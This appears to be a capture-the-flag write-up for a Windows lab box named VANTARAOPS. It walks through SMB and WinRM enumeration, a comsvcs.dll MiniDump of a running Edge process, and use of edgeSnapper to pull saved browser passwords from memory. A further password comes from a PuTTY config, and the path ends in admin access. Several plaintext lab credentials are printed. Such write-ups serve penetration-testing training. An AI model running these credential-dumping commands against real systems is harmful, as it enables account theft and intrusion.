HackSmarter
Edge
- Nmap
- NetExec / nxc
- SMBMap
- Evil-WinRM
- PowerShell
- comsvcs.dll MiniDump
- EdgeSavedPasswordsDumper.exe
- edgeSnapper.exe
- PuTTY configuration review
Enumeration
Port Scan
Initial enumeration identified a Windows host named VANTARAOPS.
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info:
| Target_Name: VANTARAOPS
| NetBIOS_Domain_Name: VANTARAOPS
| NetBIOS_Computer_Name: VANTARAOPS
| DNS_Domain_Name: VantaraOps
| DNS_Computer_Name: VantaraOps
| Product_Version: 10.0.26100
|_ System_Time: 2026-05-17T13:08:20+00:00
| ssl-cert: Subject: commonName=VantaraOps
| Not valid before: 2026-05-08T12:26:38
|_Not valid after: 2026-11-07T12:26:38
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49670/tcp open msrpc Microsoft Windows RPCSMB signing was enabled but not required.
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-05-17T13:08:20
|_ start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0sOpen services worth checking:
- SMB
445 - RDP
3389 - WinRM
5985
Initial Access
The engagement was an assumed-breach scenario, and starting credentials were provided.
jmorris:Fabricat!on2024SMB Validation and Share Enumeration
Validated the provided credentials over SMB and enumerated shares.
nxc smb 10.1.94.253 -u 'jmorris' -p 'Fabricat!on2024' --shares
SMB 10.1.94.253 445 VANTARAOPS [*] Windows 11 / Server 2025 Build 26100 x64 (name:VANTARAOPS) (domain:VantaraOps) (signing:False) (SMBv1:False)
SMB 10.1.94.253 445 VANTARAOPS [+] VantaraOps\\\\jmorris:Fabricat!on2024
SMB 10.1.94.253 445 VANTARAOPS [*] Enumerated shares
SMB 10.1.94.253 445 VANTARAOPS Share Permissions Remark
SMB 10.1.94.253 445 VANTARAOPS ----- ----------- ------
SMB 10.1.94.253 445 VANTARAOPS ADMIN$ Remote Admin
SMB 10.1.94.253 445 VANTARAOPS C$ Default share
SMB 10.1.94.253 445 VANTARAOPS IPC$ READ Remote IPC
SMB 10.1.94.253 445 VANTARAOPS VantaraOps READ,WRITE Vantara Industries Operations ShareThe VantaraOps share had READ,WRITE access.
Enumerated SMB shares recursively.
smbmap -H 10.1.94.253 -r -u 'jmorris' -p 'Fabricat!on2024'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.1.94.253:445 Name: 10.1.94.253 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
./IPC$
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 InitShutdown
fr--r--r-- 4 Mon Jan 1 00:00:00 1601 lsass
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 ntsvcs
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 Winsock2\\\\CatalogChangeListener-2e0-0
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 Winsock2\\\\CatalogChangeListener-3cc-0
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 epmapper
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 atsvc
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 eventlog
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 TermSrv_API_service
fr--r--r-- 3 Mon Jan 1 00:00:00 1601 Ctx_WinStation_API_service
fr--r--r-- 4 Mon Jan 1 00:00:00 1601 wkssvc
fr--r--r-- 4 Mon Jan 1 00:00:00 1601 W32TIME_ALT
fr--r--r-- 4 Mon Jan 1 00:00:00 1601 srvsvc
fr--r--r-- 2 Mon Jan 1 00:00:00 1601 crashpad_5788_BPKDBOXFEXNDFNFE
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 LOCAL\\\\mojo.5788.4800.3368925885012304087
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 LOCAL\\\\mojo.external_task_manager_v2_5788
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 LOCAL\\\\mojo.5788.4800.7446032390185772468
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 LOCAL\\\\mojo.5788.4800.5041926659669137076
fr--r--r-- 1 Mon Jan 1 00:00:00 1601 LOCAL\\\\mojo.5788.4800.10867419382411220343
VantaraOps READ, WRITE Vantara Industries Operations Share
./VantaraOps
dr--r--r-- 0 Sun May 17 13:17:45 2026 .
dr--r--r-- 0 Sun May 10 12:39:52 2026 ..
dr--r--r-- 0 Sat May 9 21:49:17 2026 Finance
dr--r--r-- 0 Sat May 9 21:49:17 2026 HR
dr--r--r-- 0 Sat May 9 21:49:17 2026 IT
dr--r--r-- 0 Sat May 9 21:49:17 2026 Logs
dr--r--r-- 0 Sat May 9 21:49:17 2026 Production
fr--r--r-- 302 Sat May 9 21:49:18 2026 README.txt
dr--r--r-- 0 Sat May 9 21:49:17 2026 Reports
dr--r--r-- 0 Sat May 9 21:49:17 2026 Safety
dr--r--r-- 0 Sat May 9 21:49:17 2026 Scripts
dr--r--r-- 0 Sat May 9 21:49:17 2026 Templates
[*] Closed 1 connectionsThe SMBMap output also exposed several named pipes related to Edge/Crashpad, including references to process 5788, which later matched a running msedge.exe process.
WinRM Access
Validated WinRM access with the same assumed-breach credentials.
nxc winrm 10.1.94.253 -u 'jmorris' -p 'Fabricat!on2024'
WINRM 10.1.94.253 5985 VANTARAOPS [*] Windows 11 / Server 2025 Build 26100 (name:VANTARAOPS) (domain:VantaraOps)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.1.94.253 5985 VANTARAOPS [+] VantaraOps\\\\jmorris:Fabricat!on2024 (Pwn3d!)WinRM was available, so I opened an Evil-WinRM shell.
evil-winrm -i 10.1.94.253 -u 'jmorris' -p 'Fabricat!on2024'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: <https://github.com/Hackplayers/evil-winrm#Remote-path-completion>
Info: Establishing connection to remote endpointEdge Enumeration
After getting a shell as jmorris, I checked the user profile and found a Microsoft Edge shortcut on the desktop.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Documents> cd ..\\\\Desktop
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> dir
Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/14/2024 1:03 AM 470 EC2 Feedback.url
-a---- 11/14/2024 1:03 AM 501 EC2 Microsoft Windows Guide.url
-a---- 5/9/2026 11:22 AM 2359 Microsoft Edge.lnkBecause Edge was clearly used on the machine, I checked the Edge profile directory.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> cd ..\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge\\\\
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge> dir Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/17/2026 1:27 PM User Data
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge> cd 'User Data'
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge\\\\User Data> ls
Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\APPDATA\\\\Local\\\\Microsoft\\\\Edge\\\\User Data
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2026 11:22 AM Ad Blocking
d----- 5/9/2026 11:29 AM Autofill
d----- 5/9/2026 11:23 AM AutoLaunchProtocolsComponent
d----- 5/17/2026 12:56 PM BrowserMetrics
d----- 5/9/2026 11:27 AM CertificateRevocation
d----- 5/9/2026 1:08 PM component_crx_cache
d----- 4/1/2025 6:24 PM Crashpad
d----- 5/17/2026 1:05 PM Default
d----- 5/9/2026 11:30 AM Domain Actions
d----- 5/9/2026 11:33 AM EADPData Component
d----- 4/1/2025 6:24 PM Edge Cloud Config
d----- 5/9/2026 11:24 AM Edge Data Protection Lists
d----- 5/9/2026 12:38 PM Edge Entity Extraction
d----- 5/9/2026 11:28 AM Edge Notifications
d----- 5/9/2026 12:34 PM Edge Shopping
d----- 5/9/2026 12:30 PM Edge Sidebar
d----- 5/9/2026 12:30 PM Edge Signal Triggers
d----- 5/9/2026 12:36 PM Edge Wallet
d----- 5/9/2026 12:30 PM Edge3pSerp
d----- 5/9/2026 12:30 PM EdgeArbitration
-a---- 5/17/2026 12:56 PM 4194304 BrowserMetrics-spare.pma
-a---- 5/9/2026 11:20 AM 0 First Run
-a---- 5/17/2026 1:27 PM 18415 Local StateThe Default profile and Local State file were present.
Edge Process Check
Since the latest finding involved saved Edge passwords being available in the live process context, I checked whether Edge was actively running.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5> Get-Process msedge | Select Name,Id,SI,Path
Name Id SI Path
---- -- -- ----
msedge 1140 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 1224 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 1532 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 1604 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 5788 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 6336 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 6728 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe
msedge 6736 1 C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exeMultiple Edge processes were running. I focused on PID 5788.
Edge Credential Extraction Attempts
Failed Upload: EdgeSavedPasswordsDumper.exe
I first tried uploading EdgeSavedPasswordsDumper.exe.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> mkdir Edge
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop> cd Edge
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge> upload EdgeSavedPasswordsDumper.exe
Info: Uploading /home/kali/Desktop/HackSmarter/Edge/EdgeSavedPasswordsDumper.exe to C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge\\\\EdgeSavedPasswordsDumper.exe
Data: 15016 bytes of 15016 bytes copied
Info: Upload successful!However, on disk it appeared as a 0 byte file.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge> dir
Directory: C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/17/2026 1:56 PM 0 EdgeSavedPasswordsDumper.exeTrying to run it failed.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Desktop\\\\Edge> .\\\\EdgeSavedPasswordsDumper.exe
Program 'EdgeSavedPasswordsDumper.exe' failed to run: The specified executable is not a valid application for this OS platform.At line:1 char:1
+ .\\\\EdgeSavedPasswordsDumper.exe
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\\\\EdgeSavedPasswordsDumper.exe
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailedFailed Upload in Windows Temp
I tried again from C:\\\\Windows\\\\Temp\\\\Edge.
*Evil-WinRM* PS C:\\\\Windows\\\\Temp> mkdir Edge
*Evil-WinRM* PS C:\\\\Windows\\\\Temp> cd Edge
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> upload EdgeSavedPasswordsDumper.exe edge.exe
Info: Uploading /home/kali/Desktop/HackSmarter/Edge/EdgeSavedPasswordsDumper.exe to C:\\\\Windows\\\\Temp\\\\Edge\\\\edge.exe
Data: 15016 bytes of 15016 bytes copied
Info: Upload successful!Again, the uploaded file was 0 bytes.
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir
Directory: C:\\\\Windows\\\\Temp\\\\Edge
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/17/2026 2:01 PM 0 edge.exeI also tried uploading a base64 file, but it also appeared as 0 bytes.
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> upload edge.b64
Info: Uploading /home/kali/Desktop/HackSmarter/Edge/edge.b64 to C:\\\\Windows\\\\Temp\\\\Edge\\\\edge.b64
Data: 20024 bytes of 20024 bytes copied
Info: Upload successful!*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir
Directory: C:\\\\Windows\\\\Temp\\\\Edge
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/17/2026 2:03 PM 0 edge.b64
-a---- 5/17/2026 2:01 PM 0 edge.exeFailed MiniDump Attempt
Next I tried dumping the running Edge process using comsvcs.dll.
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 5788 C:\\\\Windows\\\\Temp\\\\edge5788.dmp fullNo dump appeared in the current folder.
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir
Directory: C:\\\\Windows\\\\Temp\\\\Edge
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/17/2026 2:03 PM 0 edge.b64
-a---- 5/17/2026 2:01 PM 0 edge.exeI tried a full path inside the Edge folder.
*Evil-WinRM* PS C:\\\\Windows\\\\Temp> rundll32.exe C:\\\\Windows\\\\System32\\\\comsvcs.dll, MiniDump 5788 C:\\\\Windows\\\\Temp\\\\Edge\\\\edge5788.dmp full*Evil-WinRM* PS C:\\\\Windows\\\\Temp> cd Edge
*Evil-WinRM* PS C:\\\\Windows\\\\Temp\\\\Edge> dir
Directory: C:\\\\Windows\\\\Temp\\\\Edge
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/17/2026 2:03 PM 0 edge.b64
-a---- 5/17/2026 2:01 PM 0 edge.exe
-a---- 5/17/2026 2:10 PM 634918719 edge5788.dmpThe dump was created on the target. I downloaded it.
Info: Downloading C:\\\\Windows\\\\Temp\\\\Edge\\\\edge5788.dmp to edge5788.dmp
Info: Download successful!The dump was downloaded, but this route did not produce the credential extraction I needed, so I switched tools.
EdgeSnapper
Since the direct dumper upload and manual process dump path did not work, I tried edgeSnapper.exe.
*Evil-WinRM* PS C:\\\\Users\\\\jmorris.EC2AMAZ-RF8VAN5\\\\Documents> ./edgeSnapper.exe
[*] Scanning processes for msedge.exe
[+] Found msedge.exe at PID 5788
[*] Creating handle to process 5788
[+] Handle to process acquired!
[*] Attempting Process Snapshot...
[+] Process successfully Snapshotted!
[*] Scanning frozen snapshot regions...
------------------------------------------
Username/eMail: jmorris
Password: JFH823*&%^&21jdsf823&$*sjksa812723
------------------------------------------
Username/eMail: sburns
Password: 875&%(#@hjdJFU823kFKh8234
------------------------------------------
Username/eMail: svc_vdi
Password: V@ntara#Ops1
------------------------------------------
Username/eMail: jmorris
Password: 1qazxsw2!QAZXSW@
------------------------------------------
Username/eMail: jmorris
Password: Fabricat!on2025edgeSnapper.exe successfully extracted saved Edge credentials from the running Edge process.
The most useful credential was:
svc_vdi:V@ntara#Ops1svc_vdi Context and PuTTY Configuration
After recovering svc_vdi credentials, I was able to reach via RDP to the svc_vdi user context and enumerate the profile.
C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Desktop>dir
The system cannot find message text for message number 0x235f in the message file for Application.
The system cannot find message text for message number 0x235b in the message file for Application.
DNS bad key.
05/09/2026 12:40 PM The system cannot find message text for message number 0x2373 in the message file for Application. .
05/09/2026 12:34 PM The system cannot find message text for message number 0x2373 in the message file for Application. ..
11/14/2024 01:03 AM 470 EC2 Feedback.url
11/14/2024 01:03 AM 501 EC2 Microsoft Windows Guide.url
05/09/2026 12:40 PM 2,359 Microsoft Edge.lnk
The system cannot find message text for message number 0x2378 in the message file for Application.
The system cannot find message text for message number 0x2379 in the message file for Application.Moved into the Documents folder.
C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Desktop>cd ..\\\\Documents
C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Documents>dir
The system cannot find message text for message number 0x235f in the message file for Application.
The system cannot find message text for message number 0x235b in the message file for Application.
DNS bad key.
05/10/2026 01:16 PM The system cannot find message text for message number 0x2373 in the message file for Application. .
05/09/2026 12:34 PM The system cannot find message text for message number 0x2373 in the message file for Application. ..
05/10/2026 01:16 PM 1,161 putty.conf
The system cannot find message text for message number 0x2378 in the message file for Application.
The system cannot find message text for message number 0x2379 in the message file for Application.Found putty.conf, which looked like a saved PuTTY session configuration.
C:\\\\Users\\\\svc_vdi.VANTARAOPS\\\\Documents>type putty.conf$session = "VDI-MGMT"
New-Item -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name HostName -Value "10.10.10.25"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name Protocol -Value "ssh"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name PortNumber -Value 22
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name UserName -Value "svc_vdi_mgmt"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name TerminalType -Value "xterm"
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name Compression -Value 1
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name TryAgent -Value 1
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name PingInterval -Value 30
Set-ItemProperty -Path "HKCU:\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\$session" -Name Password -Value "56tyghbn%^TYGHBN"
Write-Host "PuTTY session '$session' created."The PuTTY configuration exposed another credential.
svc_vdi_mgmt:56tyghbn%^TYGHBNPost Exploitation
Validated the recovered svc_vdi_mgmt credentials with NetExec, and this time the account came back Pwn3d! — full admin.
nxc winrm 10.1.102.241 -u 'svc_vdi_mgmt' -p '56tyghbn%^TYGHBN'
WINRM 10.1.102.241 5985 VANTARAOPS [*] Windows 11 / Server 2025 Build 26100 (name:VANTARAOPS) (domain:VantaraOps)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.1.102.241 5985 VANTARAOPS [+] VantaraOps\svc_vdi_mgmt:56tyghbn%^TYGHBN (Pwn3d!)
With admin access confirmed, I opened an Evil-WinRM session and walked straight into the Administrator’s Desktop for the final flag at C:\Users\Administrator\Desktop\root.txt.
evil-winrm -i 10.1.102.241 -u 'svc_vdi_mgmt' -p '56tyghbn%^TYGHBN'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_vdi_mgmt\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\svc_vdi_mgmt\Desktop> dir
Directory: C:\Users\svc_vdi_mgmt\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/14/2024 1:03 AM 470 EC2 Feedback.url
-a---- 11/14/2024 1:03 AM 501 EC2 Microsoft Windows Guide.url
-a---- 4/1/2025 6:24 PM 2355 Microsoft Edge.lnk
*Evil-WinRM* PS C:\Users\svc_vdi_mgmt\Desktop> cd ../../Administrator/Desktop/
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/14/2024 1:03 AM 470 EC2 Feedback.url
-a---- 11/14/2024 1:03 AM 501 EC2 Microsoft Windows Guide.url
-a---- 5/8/2026 5:15 PM 2355 Microsoft Edge.lnk
-a---- 5/11/2026 11:30 AM 60 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1ts_N0t_a_BuG_1ts_a_F3atur3
*Evil-WinRM* PS C:\Users\Administrator\Desktop> Attack Path Summary
Assumed breach credentials:
jmorris:Fabricat!on2024
→ Nmap identified SMB, RDP, WinRM
→ SMB signing enabled but not required
→ Validated jmorris over SMB
→ Found VantaraOps share with READ,WRITE
→ Validated RDP access
→ Validated WinRM access
→ Connected with Evil-WinRM as jmorris
→ Found Microsoft Edge profile and Edge shortcut
→ Confirmed multiple msedge.exe processes were running
→ Tried EdgeSavedPasswordsDumper.exe, but uploads became 0-byte files
→ Tried comsvcs.dll MiniDump against PID 5788
→ Dump file was created/downloaded but did not lead to the needed extraction
→ Switched to edgeSnapper.exe
→ edgeSnapper successfully snapshotted msedge.exe PID 5788
→ Extracted saved Edge credentials
→ Recovered svc_vdi:V@ntara#Ops1
→ Enumerated svc_vdi profile
→ Found putty.conf
→ Extracted PuTTY saved session credentials
→ Final credential discovery: svc_vdi_mgmt:56tyghbn%^TYGHBNCredentials Found
| User | Password / Secret | Source |
|---|---|---|
jmorris |
Fabricat!on2024 |
Assumed breach credentials |
svc_vdi |
V@ntara#Ops1 |
EdgeSnapper / Edge process memory |
svc_vdi_mgmt |
56tyghbn%^TYGHBN |
putty.conf |
sburns |
875&%(#@hjdJFU823kFKh8234 |
EdgeSnapper / Edge process memory |
jmorris |
1qazxsw2!QAZXSW@ |
EdgeSnapper / Edge process memory |
Tools Used
- Nmap
- NetExec / nxc
- SMBMap
- Evil-WinRM
- PowerShell
- comsvcs.dll MiniDump
- EdgeSavedPasswordsDumper.exe
- edgeSnapper.exe
- PuTTY configuration review